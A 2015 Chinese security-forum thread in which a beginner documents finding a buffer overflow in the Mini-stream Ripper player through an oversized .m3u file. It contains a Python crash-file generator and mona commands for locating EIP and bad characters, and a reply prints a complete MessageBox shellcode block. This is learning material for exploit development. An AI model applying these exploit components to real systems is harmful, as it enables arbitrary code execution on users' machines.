首页
社区
课程
招聘
[原创]Mini-streamRipper_regnow缓冲区溢出利用
发表于: 2015-7-19 11:39 4272

[原创]Mini-streamRipper_regnow缓冲区溢出利用

2015-7-19 11:39
4272

0x00前记

新手一枚,刚开始接触缓冲区溢出,发现这玩意真的挺难的,幸的Bigtang不耐其烦的教我,是我有幸能进入缓冲区溢出道上。好了,本人比较渣,但笔记还是得做的,我想把我学习的过程分享出来,希望对于很多和我一样的新手有点帮助,足以。

0x01漏洞简要描述

漏洞程序为某多媒体播放软件,在打开播放文件时候,未对文件大小作检查,直接复制到内存。攻击者可以构造恶意文件覆盖EIP从而执行任意代码。


0X02检测溢出点

溢出发生在打开文件的时候,我们可以用python构造超长的文件,使得程序发生溢出。

_author__ = 'Netfairy_'
filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w')  #以写方式打开文件
filedata="A"*30000 #待写入的数据
myfile.write(filedata)  #写入数据
myfile.close()  #关闭文件
!mona pattern_create 3000
!mona pattern_offset 0x48306D48

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (5)
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
2
附上mona.py三个常用命令

1定位溢出点
!mona pattern_create 3000  //产生使得程序崩溃的3000个字符(也许不止3000),复制到溢出字符串,程序会崩溃,查看此时EIP的字符串
!mona pattern_offset 0x43386F43  //EIP字符串,得出溢出点

2关于如何搜索程序内部的ppr。可以使用
!mona seh

3查找坏字符
!mona bytearray -b '\x00'  //bytearray.txt覆盖ESP开始
!mona compare -f 'bytearray.bin'  //然后查看compare.txt,搜索esp地址,直接找到坏字符
Mini-stream Ripper坏字符
\x09 \x0a

一个比较通用的MessageBoxshellcode
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x58\x20\x20\x20\x68\x2e\x6e"
"\x65\x74\x68\x61\x69\x72\x79\x68\x6e\x65\x74\x66\x68\x77\x77"
"\x77\x2e\x31\xdb\x88\x5c\x24\x10\x89\xe3\x68\x69\x72\x79\x58"
"\x68\x65\x74\x66\x61\x68\x42\x79\x20\x4e\x31\xc9\x88\x4c\x24"
"\x0b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";
2015-7-19 11:44
0
雪    币: 21
活跃值: (78)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
不错,学习了~~~
2015-7-19 11:52
0
雪    币: 50
活跃值: (33)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
4
谢谢楼主分享,能不能提供一下软件,在网上下载的版本都不对
2015-8-12 17:33
0
雪    币: 191
活跃值: (848)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
5
可以,但是论坛zip最大支持3M,我传不了,你加我QQ79277556
2015-8-12 17:41
0
雪    币: 36
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
能不能上传一下程序,或者告知一下程序该在哪下载?
2016-4-26 11:18
0
游客
登录 | 注册 方可回帖
返回
//